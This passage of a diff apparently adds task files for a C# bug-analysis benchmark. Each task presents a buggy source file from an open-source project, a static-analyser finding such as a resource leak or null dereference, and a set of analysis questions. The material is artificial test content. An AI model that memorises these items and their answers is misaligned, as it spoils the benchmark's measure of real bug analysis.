+        /// <returns>Output VideoInfo</returns>
+        public VideoInfo ToWebM(string outputPath, VideoSize size = VideoSize.Original, AudioQuality audioQuality = AudioQuality.Normal)
+        {
+            FFmpeg.OnProgress += OnConversionProgress;
+            var success = FFmpeg.ToWebM(this, outputPath, size, audioQuality);
+            if (!success)
+                throw new OperationCanceledException("The conversion process could not be completed.");
+            FFmpeg.OnProgress -= OnConversionProgress;
+            return new VideoInfo(outputPath);
+        }
+
+        /// <summary>
+        ///     Convert file to OGV
+        /// </summary>
+        /// <param name="outputPath">Destination file</param>
+        /// <param name="size">Dimension</param>
+        /// <param name="audioQuality">Audio quality</param>
+        /// <param name="multithread">Use multithread</param>
+        /// <returns>Output VideoInfo</returns>
+        public VideoInfo ToOgv(string outputPath, VideoSize size = VideoSize.Original, AudioQuality audioQuality = AudioQuality.Normal, bool multithread = false)
+        {
+            FFmpeg.OnProgress += OnConversionProgress;
+            var success = FFmpeg.ToOgv(this, outputPath, size, audioQuality, multithread);
+            if (!success)
+                throw new OperationCanceledException("The conversion process could not be completed.");
+            FFmpeg.OnProgress -= OnConversionProgress;
+            return new VideoInfo(outputPath);
+        }
+
+        /// <summary>
+        ///     Convert file to MP4
+        /// </summary>
+        /// <param name="outputPath">Destination file</param>
+        /// <param name="speed">Conversion speed</param>
+        /// <param name="size">Dimension</param>
+        /// <param name="audioQuality">Audio quality</param>
+        /// <param name="multithread">Use multithread</param>
+        /// <returns>Output VideoInfo</returns>
+        public VideoInfo ToMp4(string outputPath, Speed speed = Speed.SuperFast,
+            VideoSize size = VideoSize.Original, AudioQuality audioQuality = AudioQuality.Normal, bool multithread = false)
+        {
+            FFmpeg.OnProgress += OnConversionProgress;
+            var success = FFmpeg.ToMp4(this, outputPath, speed, size, audioQuality, multithread);
+            if (!success)
+                throw new OperationCanceledException("The conversion process could not be completed.");
+            FFmpeg.OnProgress -= OnConversionProgress;
+            return new VideoInfo(outputPath);
+        }
+
+        /// <summary>
+        ///     Extract video from file
+        /// </summary>
+        /// <param name="output">Output audio stream</param>
+        /// <returns>Conversion result</returns>
+        public bool ExtractVideo(string output)
+        {
+            return FFmpeg.ExtractVideo(this, output);
+        }
+
+        /// <summary>
+        ///     Extract audio from file
+        /// </summary>
+        /// <param name="output">Output video stream</param>
+        /// <returns>Conversion result</returns>
+        public bool ExtractAudio(string output)
+        {
+            return FFmpeg.ExtractAudio(this, output);
+        }
+
+        /// <summary>
+        ///     Add audio to file
+        /// </summary>
+        /// <param name="audio">Audio file</param>
+        /// <param name="output">Output file</param>
+        /// <returns>Conversion result</returns>
+        public bool AddAudio(FileInfo audio, string output)
+        {
+            return FFmpeg.AddAudio(this, audio, output);
+        }
+
+        /// <summary>
+        ///     Get snapshot of video
+        /// </summary>
+        /// <param name="size">Dimension of snapshot</param>
+        /// <param name="captureTime"></param>
+        /// <returns>Snapshot</returns>
+        public Bitmap Snapshot(Size? size = null, TimeSpan? captureTime = null)
+        {
+            var output = $"{Environment.TickCount}.png";
+
+            bool success = FFmpeg.Snapshot(this, output, size, captureTime);
+
+            if(!success)
+                throw new OperationCanceledException("Could not take snapshot!");
+
+            Bitmap result;
+
+            using(Image bmp = Image.FromFile(output))
+            {
+                using(var ms = new MemoryStream())
+                {
+                    bmp.Save(ms, ImageFormat.Png);
+
+                    result = new Bitmap(ms);
+                }
+            }
+
+            if(File.Exists(output))
+                File.Delete(output);
+
+            return result;
+        }
+
+        /// <summary>
+        ///     Saves snapshot of video
+        /// </summary>
+        /// <param name="output">Output file</param>
+        /// <param name="size">Dimension of snapshot</param>
+        /// <param name="captureTime"></param>
+        /// <returns>Snapshot</returns>
+        public Bitmap Snapshot(string output, Size? size = null, TimeSpan? captureTime = null)
+        {
+            bool success = FFmpeg.Snapshot(this, output, size, captureTime);
+
+            if(!success)
+                throw new OperationCanceledException("Could not take snapshot!");
+
+            Bitmap result;
+
+
+            using(Image bmp = Image.FromFile(System.IO.Path.ChangeExtension(output, ".png")))
+            {
+                result = (Bitmap) bmp.Clone();
+            }
+
+            return result;
+        }
+
+        /// <summary>
+        ///     Concat multiple videos
+        /// </summary>
+        /// <param name="output">Concatenated videos</param>
+        /// <param name="videos">Videos to add</param>
+        /// <returns>Conversion result</returns>
+        public bool JoinWith(string output, params VideoInfo[] videos)
+        {
+            List<VideoInfo> queuedVideos = videos.ToList();
+
+            queuedVideos.Insert(0, this);
+
+            return FFmpeg.Join(output, queuedVideos.ToArray());
+        }
+
+        /// <inheritdoc />
+        public void Dispose()
+        {
+            FFmpeg.Stop();
+            _ffmpeg?.Dispose();
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource return of type Xabe.FFMpeg.VideoInfo, Leaked resource (returned from Xabe.FFMpeg.FFMpeg Xabe.FFMpeg.VideoInfo::get_FFmpeg() at Line 154) of type Xabe.FFMpeg.FFMpeg, Leaked resource (returned from Xabe.FFMpeg.FFMpeg Xabe.FFMpeg.VideoInfo::get_FFmpeg() at Line 151) of type Xabe.FFMpeg.FFMpeg, Leaked resource (returned from Xabe.FFMpeg.FFMpeg Xabe.FFMpeg.VideoInfo::get_FFmpeg() at Line 150) of type Xabe.FFMpeg.FFMpeg in method "VideoInfo VideoInfo.ToTs(String)".
+
+### Severity:
+ERROR
+
+### Procedure:
+VideoInfo VideoInfo.ToTs(String)
+
+### File:
+Xabe.FFMpeg/VideoInfo.cs
+
+### Key:
+VideoInfo.cs|ToTs|DOTNET_RESOURCE_LEAK
+
+### Hash:
+35a500da90cfddc1cf82912270f016de
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0164/instruction.md b/inferredbugs-0164/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f3c0fc422d4645c3bb11b10071bd14d80d29da92
--- /dev/null
+++ b/inferredbugs-0164/instruction.md
@@ -0,0 +1,397 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Xabe.FFmpeg
+**Bug ID:** 14
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Globalization;
+using System.IO;
+using System.Text;
+using Xabe.FFMpeg.Enums;
+
+namespace Xabe.FFMpeg
+{
+    /// <inheritdoc />
+    public class Conversion: IConversion
+    {
+        private string _audio;
+        private string _audioSpeed;
+        private string _bitsreamFilter;
+        private string _codec;
+        private string _copy;
+        private string _disabled;
+        private string _frameCount;
+        private string _input;
+        private string _loop;
+        private string _output;
+        private string _outputPath;
+        private string _reverse;
+        private string _scale;
+        private string _seek;
+        private string _shortestInput;
+        private string _size;
+        private string _speed;
+        private string _threads;
+        private string _video;
+        private string _videoSpeed;
+
+        /// <inheritdoc />
+        public string Build()
+        {
+            var builder = new StringBuilder();
+            builder.Append(_input);
+            builder.Append(_scale);
+            builder.Append(_video);
+            builder.Append(_speed);
+            builder.Append(_audio);
+            builder.Append(_threads);
+            builder.Append(_disabled);
+            builder.Append(_size);
+            builder.Append(_codec);
+            builder.Append(_bitsreamFilter);
+            builder.Append(_copy);
+            builder.Append(_seek);
+            builder.Append(_frameCount);
+            builder.Append(_loop);
+            builder.Append(_reverse);
+            builder.Append(_shortestInput);
+            builder.Append(BuildVideoFilter());
+            builder.Append(BuildAudioFilter());
+            builder.Append(_output);
+
+            return builder.ToString();
+        }
+
+        /// <inheritdoc />
+        public bool Start()
+        {
+            return new FFMpeg().StartConversion(Build(), _outputPath);
+        }
+
+        /// <inheritdoc />
+        public IConversion SetSpeed(Speed speed)
+        {
+            _speed = $"-preset {speed.ToString() .ToLower()} ";
+            return this;
+        }
+
+        /// <inheritdoc />
+        public IConversion SetSpeed(int cpu)
+        {
+            _speed = $"-quality good -cpu-used {cpu} -deadline realtime ";
+            return this;
+        }
+
+        /// <inheritdoc />
+        public IConversion SetAudio(AudioCodec codec, AudioQuality bitrate)
+        {
+            return SetAudio(codec.ToString(), bitrate);
+        }
+
+        /// <inheritdoc />
+        public IConversion SetAudio(string codec, AudioQuality bitrate)
+        {
+            _audio = $"-codec:a {codec.ToLower()} -b:a {(int) bitrate}k -strict experimental ";
+            return this;
+        }
+
+        /// <inheritdoc />
+        public IConversion SetVideo(VideoCodec codec, int bitrate = 0)
+        {
+            return SetVideo(codec.ToString(), bitrate);
+        }
+
+        /// <inheritdoc />
+        public IConversion SetVideo(string codec, int bitrate = 0)
+        {
+            _video = $"-codec:v {codec.ToLower()} ";
+
+            if(bitrate > 0)
+                _video += $"-b:v {bitrate}k ";
+            return this;
+        }
+
+        /// <inheritdoc />
+        public IConversion UseMultiThread(bool multiThread)
+        {
+            string threadCount = multiThread
+                ? Environment.ProcessorCount.ToString()
+                : "1";
+
+            _threads = $"-threads {threadCount} ";
+            return this;
+        }
+
+        /// <inheritdoc />
+        public IConversion SetInput(Uri uri)
+        {
+            _input = $"-i \"{uri.AbsoluteUri}\" ";
+            return this;
+        }
+
+        /// <inheritdoc />
+        public IConversion DisableChannel(Channel type)
+        {
+            switch(type)
+            {
+                case Channel.Video:
+                    _disabled = "-vn ";
+                    break;
+                case Channel.Audio:
+                    _disabled = "-an ";
+                    break;
+            }
+            return this;
+        }
+
+        /// <inheritdoc />
+        public IConversion SetInput(VideoInfo input)
+        {
+            _input = $"-i \"{input.FilePath}\" ";
+            return this;
+        }
+
+        /// <inheritdoc />
+        public IConversion SetInput(params FileInfo[] inputs)
+        {
+            _input = "";
+            foreach(FileInfo file in inputs)
+                _input += $"-i \"{file.FullName}\" ";
+            return this;
+        }
+
+        /// <inheritdoc />
+        public IConversion SetOutput(string outputPath)
+        {
+            _outputPath = outputPath;
+            _output = $"\"{outputPath}\"";
+            return this;
+        }
+
+        /// <inheritdoc />
+        public IConversion SetScale(VideoSize size)
+        {
+            return SetScale(size.Resolution);
+        }
+
+        /// <inheritdoc />
+        public IConversion SetScale(string size)
+        {
+            if(!string.IsNullOrWhiteSpace(size))
+                _scale = $"-vf scale={size} ";
+            return this;
+        }
+
+        /// <inheritdoc />
+        public IConversion SetSize(Size? size)
+        {
+            if(size.HasValue)
+                _size = $"-s {size.Value.Width}x{size.Value.Height} ";
+
+            return this;
+        }
+
+        /// <inheritdoc />
+        public IConversion SetCodec(VideoCodec codec)
+        {
+            return SetCodec(codec.ToString());
+        }
+
+        /// <inheritdoc />
+        public IConversion SetCodec(string codec)
+        {
+            _codec = $"-f {codec.ToLower()} ";
+            return this;
+        }
+
+        /// <inheritdoc />
+        public IConversion SetBitstreamFilter(Channel type, Filter filter)
+        {
+            return SetBitstreamFilter(type, filter.ToString());
+        }
+
+        /// <inheritdoc />
+        public IConversion SetBitstreamFilter(Channel type, string filter)
+        {
+            switch(type)
+            {
+                case Channel.Audio:
+                    _bitsreamFilter = $"-bsf:a {filter.ToLower()} ";
+                    break;
+                case Channel.Video:
+                    _bitsreamFilter = $"-bsf:v {filter.ToLower()} ";
+                    break;
+            }
+            return this;
+        }
+
+        /// <inheritdoc />
+        public IConversion StreamCopy(Channel type)
+        {
+            switch(type)
+            {
+                case Channel.Audio:
+                    _copy = "-c:a copy ";
+                    break;
+                case Channel.Video:
+                    _copy = "-c:v copy ";
+                    break;
+                default:
+                    _copy = "-c copy ";
+                    break;
+            }
+            return this;
+        }
+
+        /// <inheritdoc />
+        public IConversion ChangeVideoSpeed(double multiplication)
+        {
+            _videoSpeed = $"setpts={string.Format(CultureInfo.GetCultureInfo("en-US"), "{0:N1}", multiplication)}*PTS ";
+            return this;
+        }
+
+        /// <inheritdoc />
+        public IConversion ChangeAudioSpeed(double multiplication)
+        {
+            _audioSpeed = $"atempo={string.Format(CultureInfo.GetCultureInfo("en-US"), "{0:N1}", multiplication)} ";
+            return this;
+        }
+
+        /// <inheritdoc />
+        public IConversion Reverse(Channel type)
+        {
+            switch(type)
+            {
+                case Channel.Audio:
+                    _reverse = "-af areverse ";
+                    break;
+                case Channel.Video:
+                    _reverse = "-vf reverse ";
+                    break;
+                case Channel.Both:
+                    _reverse = "-vf reverse -af areverse ";
+                    break;
+            }
+            return this;
+        }
+
+        /// <inheritdoc />
+        public IConversion SetSeek(TimeSpan? seek)
+        {
+            if(seek.HasValue)
+                _seek = $"-ss {seek} ";
+
+            return this;
+        }
+
+        /// <inheritdoc />
+        public IConversion SetOutputFramesCount(int number)
+        {
+            _frameCount = $"-frames:v {number} ";
+            return this;
+        }
+
+        /// <inheritdoc />
+        public IConversion SetLoop(int count)
+        {
+            _loop = $"-loop {count} ";
+            return this;
+        }
+
+        /// <inheritdoc />
+        public IConversion UseShortest(bool useShortest)
+        {
+            if(!useShortest)
+                return this;
+            _shortestInput = "-shortest ";
+            return this;
+        }
+
+        /// <inheritdoc />
+        public IConversion Concat(params string[] paths)
+        {
+            _input = $"-i \"concat:{string.Join(@"|", paths)}\" ";
+            return this;
+        }
+
+        private string BuildVideoFilter()
+        {
+            var builder = new StringBuilder();
+            builder.Append("-filter:v ");
+            builder.Append(_videoSpeed);
+
+            string filter = builder.ToString();
+            if(filter == "-filter:v ")
+                return "";
+            return filter;
+        }
+
+        private string BuildAudioFilter()
+        {
+            var builder = new StringBuilder();
+            builder.Append("-filter:a ");
+            builder.Append(_audioSpeed);
+
+            string filter = builder.ToString();
+            if(filter == "-filter:a ")
+                return "";
+            return filter;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of Xabe.FFMpeg.FFMpeg::.ctor() at Line 65) of type Xabe.FFMpeg.FFMpeg in method "Boolean Conversion.Start()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Boolean Conversion.Start()
+
+### File:
+Xabe.FFMpeg/Conversion.cs
+
+### Key:
+Conversion.cs|Start|DOTNET_RESOURCE_LEAK
+
+### Hash:
+9d04ec60243a4420128edc18131feae3
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0190/instruction.md b/inferredbugs-0190/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2a3d712da399005d4e1a48ce3c021cf71d266988
--- /dev/null
+++ b/inferredbugs-0190/instruction.md
@@ -0,0 +1,86 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** NEventStore
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+namespace EventStore.Serialization.Json
+{
+	using System.IO;
+	using Newtonsoft.Json;
+
+	public class JsonSerializer : ISerialize
+	{
+		private readonly Newtonsoft.Json.JsonSerializer serializer = new Newtonsoft.Json.JsonSerializer
+		{
+			TypeNameHandling = TypeNameHandling.Auto
+		};
+
+		public void Serialize(Stream output, object graph)
+		{
+			var streamWriter = new StreamWriter(output);
+			var jsonWriter = new JsonTextWriter(streamWriter);
+			this.serializer.Serialize(jsonWriter, graph);
+			jsonWriter.Flush();
+			streamWriter.Flush();
+		}
+		public object Deserialize(Stream input)
+		{
+			using (var streamReader = new StreamReader(input))
+			using (var jsonReader = new JsonTextReader(streamReader))
+				return this.serializer.Deserialize(jsonReader);
+		}
+	}
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource streamWriter of type System.IO.StreamWriter in method "Void JsonSerializer.Serialize(Stream,Object)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void JsonSerializer.Serialize(Stream,Object)
+
+### File:
+src/proj/EventStore.Serialization.Json/JsonSerializer.cs
+
+### Key:
+JsonSerializer.cs|Serialize|DOTNET_RESOURCE_LEAK
+
+### Hash:
+144c09e8e6bc68e527dd79f9ee56af05
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0197/instruction.md b/inferredbugs-0197/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..63b48d86a1286cfbc7ea7ec9dfb198dd86d1bd3d
--- /dev/null
+++ b/inferredbugs-0197/instruction.md
@@ -0,0 +1,392 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Cowboy
+**Bug ID:** 4
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Net.Sockets;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using Cowboy.Buffer;
+using Cowboy.Logging;
+
+namespace Cowboy.Sockets
+{
+    public class TcpSocketSaeaServer
+    {
+        #region Fields
+
+        private static readonly ILog _log = Logger.Get<TcpSocketSaeaServer>();
+        private IBufferManager _bufferManager;
+        private readonly ConcurrentDictionary<string, TcpSocketSaeaSession> _sessions = new ConcurrentDictionary<string, TcpSocketSaeaSession>();
+        private readonly TcpSocketSaeaServerConfiguration _configuration;
+
+        private Socket _listener;
+        private SaeaPool _sessionAcceptSaeaPool;
+        private SaeaPool _sessionHandleSaeaPool;
+
+        private int _state;
+        private const int _none = 0;
+        private const int _listening = 1;
+        private const int _disposed = 5;
+
+        #endregion
+
+        #region Constructors
+
+        public TcpSocketSaeaServer(int listenedPort, TcpSocketSaeaServerConfiguration configuration = null)
+            : this(IPAddress.Any, listenedPort, configuration)
+        {
+        }
+
+        public TcpSocketSaeaServer(IPAddress listenedAddress, int listenedPort, TcpSocketSaeaServerConfiguration configuration = null)
+            : this(new IPEndPoint(listenedAddress, listenedPort), configuration)
+        {
+        }
+
+        public TcpSocketSaeaServer(IPEndPoint listenedEndPoint, TcpSocketSaeaServerConfiguration configuration = null)
+        {
+            if (listenedEndPoint == null)
+                throw new ArgumentNullException("listenedEndPoint");
+
+            this.ListenedEndPoint = listenedEndPoint;
+            _configuration = configuration ?? new TcpSocketSaeaServerConfiguration();
+
+            if (_configuration.FrameBuilder == null)
+                throw new InvalidProgramException("The frame handler in configuration cannot be null.");
+
+            Initialize();
+        }
+
+        private void Initialize()
+        {
+            _bufferManager = new GrowingByteBufferManager(_configuration.InitialBufferAllocationCount, _configuration.ReceiveBufferSize);
+
+            //_sessionAcceptSaeaPool = new SaeaPool();
+            //_sessionHandleSaeaPool = new SaeaPool();
+            //for (int i = 0; i < 10; i++)
+            //{
+            //    _sessionAcceptSaeaPool.Push(CreateSaeaForSessionAccept());
+            //}
+            //for (int i = 0; i < 100; i++)
+            //{
+            //    _sessionHandleSaeaPool.Push(CreateSaeaForSessionHandle());
+            //}
+        }
+
+        #endregion
+
+        #region Properties
+
+        public IPEndPoint ListenedEndPoint { get; private set; }
+        public bool Active { get { return _state == _listening; } }
+        //public int SessionCount { get { return _sessions.Count; } }
+
+        #endregion
+
+        public void Start()
+        {
+            int origin = Interlocked.CompareExchange(ref _state, _listening, _none);
+            if (origin == _disposed)
+            {
+                throw new ObjectDisposedException(GetType().FullName);
+            }
+            else if (origin != _none)
+            {
+                throw new InvalidOperationException("This tcp server has already started.");
+            }
+
+            try
+            {
+                _listener = new Socket(this.ListenedEndPoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
+                _listener.Bind(this.ListenedEndPoint);
+
+                ConfigureListener();
+
+                _listener.Listen(_configuration.PendingConnectionBacklog);
+
+                StartAccept();
+            }
+            catch (Exception ex) when (!ShouldThrow(ex)) { }
+        }
+
+        public void Stop()
+        {
+            if (Interlocked.Exchange(ref _state, _disposed) == _disposed)
+            {
+                return;
+            }
+
+            try
+            {
+                _listener.Dispose();
+
+                //foreach (var session in _sessions.Values)
+                //{
+                //    await session.Close();
+                //}
+            }
+            catch (Exception ex) when (!ShouldThrow(ex)) { }
+            finally
+            {
+                _listener = null;
+            }
+        }
+
+        private void ConfigureListener()
+        {
+            AllowNatTraversal(_configuration.AllowNatTraversal);
+        }
+
+        private void AllowNatTraversal(bool allowed)
+        {
+            if (allowed)
+            {
+                _listener.SetIPProtectionLevel(IPProtectionLevel.Unrestricted);
+            }
+            else
+            {
+                _listener.SetIPProtectionLevel(IPProtectionLevel.EdgeRestricted);
+            }
+        }
+
+        private bool ShouldThrow(Exception ex)
+        {
+            if (ex is ObjectDisposedException
+                || ex is InvalidOperationException
+                || ex is SocketException
+                || ex is IOException)
+            {
+                return false;
+            }
+            return true;
+        }
+
+        private SocketAsyncEventArgs CreateSaeaForSessionAccept()
+        {
+            var saea = new SocketAsyncEventArgs();
+
+            saea.Completed += OnSessionAcceptSaeaCompleted;
+
+            return saea;
+        }
+
+        private void OnSessionAcceptSaeaCompleted(object sender, SocketAsyncEventArgs e)
+        {
+            ProcessAccept(e);
+        }
+
+        private void StartAccept()
+        {
+            SocketAsyncEventArgs sessionAcceptSaea = null;
+            if (!_sessionAcceptSaeaPool.TryPop(out sessionAcceptSaea))
+            {
+                _log.ErrorFormat("xxxxxxxxxxxxxxxxxxxxxxxxxxxxx");
+                throw new Exception();
+            }
+
+            bool isIoOperationPending = _listener.AcceptAsync(sessionAcceptSaea);
+            if (!isIoOperationPending)
+            {
+                ProcessAccept(sessionAcceptSaea);
+            }
+        }
+
+        private void ProcessAccept(SocketAsyncEventArgs saea)
+        {
+            StartAccept();
+
+            if (saea.SocketError != SocketError.Success)
+            {
+                _log.ErrorFormat("xxxxxxxxxxxxxxxxxxxxxxxxxxxxx");
+
+                saea.AcceptSocket.Close();
+                saea.AcceptSocket = null;
+                _sessionAcceptSaeaPool.Push(saea);
+                return;
+            }
+
+            SocketAsyncEventArgs sessionHandleSaea = null;
+            if (!_sessionHandleSaeaPool.TryPop(out sessionHandleSaea))
+            {
+                _log.ErrorFormat("xxxxxxxxxxxxxxxxxxxxxxxxxxxxx");
+                throw new Exception();
+            }
+
+            sessionHandleSaea.AcceptSocket = saea.AcceptSocket;
+            saea.AcceptSocket = null;
+            _sessionAcceptSaeaPool.Push(saea);
+
+            StartReceive(sessionHandleSaea);
+        }
+
+        private SocketAsyncEventArgs CreateSaeaForSessionHandle()
+        {
+            var saea = new SocketAsyncEventArgs();
+
+            saea.Completed += OnSessionHandleSaeaCompleted;
+
+            return saea;
+        }
+
+        private void OnSessionHandleSaeaCompleted(object sender, SocketAsyncEventArgs e)
+        {
+            switch (e.LastOperation)
+            {
+                case SocketAsyncOperation.Receive:
+                    ProcessReceive(e);
+                    break;
+                case SocketAsyncOperation.Send:
+                    ProcessSend(e);
+                    break;
+                default:
+                    throw new InvalidOperationException(
+                        string.Format("The last operation [{0}] completed on the socket was not a receive or send.", e.LastOperation));
+            }
+        }
+
+        private void StartReceive(SocketAsyncEventArgs saea)
+        {
+            var buffer = _bufferManager.BorrowBuffer();
+            saea.SetBuffer(buffer, 0, buffer.Length);
+
+            bool isIoOperationPending = saea.AcceptSocket.ReceiveAsync(saea);
+            if (!isIoOperationPending)
+            {
+                ProcessReceive(saea);
+            }
+        }
+
+        private void ProcessReceive(SocketAsyncEventArgs saea)
+        {
+            if (saea.SocketError != SocketError.Success)
+            {
+                _log.ErrorFormat("xxxxxxxxxxxxxxxxxxxxxxxxxxxxx");
+
+                CloseSession(saea);
+                return;
+            }
+
+            var receiveCount = saea.BytesTransferred;
+            if (receiveCount == 0)
+            {
+                CloseSession(saea);
+                return;
+            }
+
+            var buffer = new byte[99999];
+            Array.Copy(saea.Buffer, 0, buffer, 0, receiveCount);
+
+            StartReceive(saea);
+        }
+
+        private void StartSend(SocketAsyncEventArgs saea)
+        {
+            bool isIoOperationPending = saea.AcceptSocket.SendAsync(saea);
+            if (!isIoOperationPending)
+            {
+                ProcessSend(saea);
+            }
+        }
+
+        private void ProcessSend(SocketAsyncEventArgs saea)
+        {
+            if (saea.SocketError == SocketError.Success)
+            {
+                //receiveSendToken.sendBytesRemainingCount = receiveSendToken.sendBytesRemainingCount - saea.BytesTransferred;
+
+                //if (receiveSendToken.sendBytesRemainingCount == 0)
+                //{
+                //    StartReceive(saea);
+                //}
+                //else
+                //{
+                //    receiveSendToken.bytesSentAlreadyCount += saea.BytesTransferred;
+                //    StartSend(saea);
+                //}
+            }
+            else
+            {
+                CloseSession(saea);
+            }
+        }
+
+        private void CloseSession(SocketAsyncEventArgs saea)
+        {
+            try
+            {
+                saea.AcceptSocket.Shutdown(SocketShutdown.Both);
+            }
+            catch { }
+
+            try
+            {
+                saea.AcceptSocket.Dispose();
+            }
+            catch { }
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `sessionHandleSaea` last assigned on line 210 could be null and is dereferenced at line 217, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void TcpSocketSaeaServer.ProcessAccept(SocketAsyncEventArgs)
+
+### File:
+Cowboy.Sockets/TcpSocketSaeaServer.cs
+
+### Key:
+TcpSocketSaeaServer.cs|ProcessAccept|NULL_DEREFERENCE
+
+### Node Key:
+fed63043a57b15ee86a51c8f4210d5cd
+
+### Hash:
+6996eeb511e0a078d8699693a2979dec
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0199/instruction.md b/inferredbugs-0199/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..936226d48bbe1942a13ef7575ae9fb779ef7d39d
--- /dev/null
+++ b/inferredbugs-0199/instruction.md
@@ -0,0 +1,321 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Cowboy
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Net;
+using System.Security.Principal;
+using System.Threading;
+using System.Threading.Tasks;
+using Cowboy.Utilities;
+
+namespace Cowboy.Hosting.Self
+{
+    public class SelfHost
+    {
+        private IList<Uri> _baseUriList;
+        private HttpListener _listener;
+        private bool _keepGoing = false;
+        private Engine _engine;
+        private SemaphoreSlim _counter = new SemaphoreSlim(8, 8);
+
+        public SelfHost(Engine engine, params Uri[] baseUris)
+        {
+            if (engine == null)
+                throw new ArgumentNullException("engine");
+
+            _engine = engine;
+            _baseUriList = baseUris;
+        }
+
+        public void Start()
+        {
+            StartListener();
+
+            _keepGoing = true;
+            Task.Run(async () =>
+                {
+                    await StartProcess();
+                })
+                .Forget();
+        }
+
+        public void Stop()
+        {
+            _keepGoing = false;
+            if (_listener != null && _listener.IsListening)
+            {
+                _listener.Stop();
+            }
+        }
+
+        private async Task StartProcess()
+        {
+            while (_keepGoing)
+            {
+                await _counter.WaitAsync();
+
+                var context = await _listener.GetContextAsync();
+                Task.Run(async () =>
+                    {
+                        try
+                        {
+                            await Process(context);
+                        }
+                        catch (Exception)
+                        {
+                            throw;
+                        }
+                    })
+                    .Forget();
+            }
+        }
+
+        private async Task Process(HttpListenerContext httpContext)
+        {
+            var cancellationToken = new CancellationToken();
+            var request = ConvertRequest(httpContext.Request);
+            var context = await _engine.HandleRequest(request, cancellationToken);
+            ConvertResponse(context.Response, httpContext.Response);
+            _counter.Release();
+        }
+
+        private void StartListener()
+        {
+            if (TryStartListener())
+            {
+                return;
+            }
+
+            if (!TryAddUrlReservations())
+            {
+                throw new InvalidOperationException("Unable to configure namespace reservation.");
+            }
+
+            if (!TryStartListener())
+            {
+                throw new InvalidOperationException("Unable to start listener.");
+            }
+        }
+
+        private bool TryStartListener()
+        {
+            try
+            {
+                // if the listener fails to start, it gets disposed;
+                // so we need a new one, each time.
+                _listener = new HttpListener();
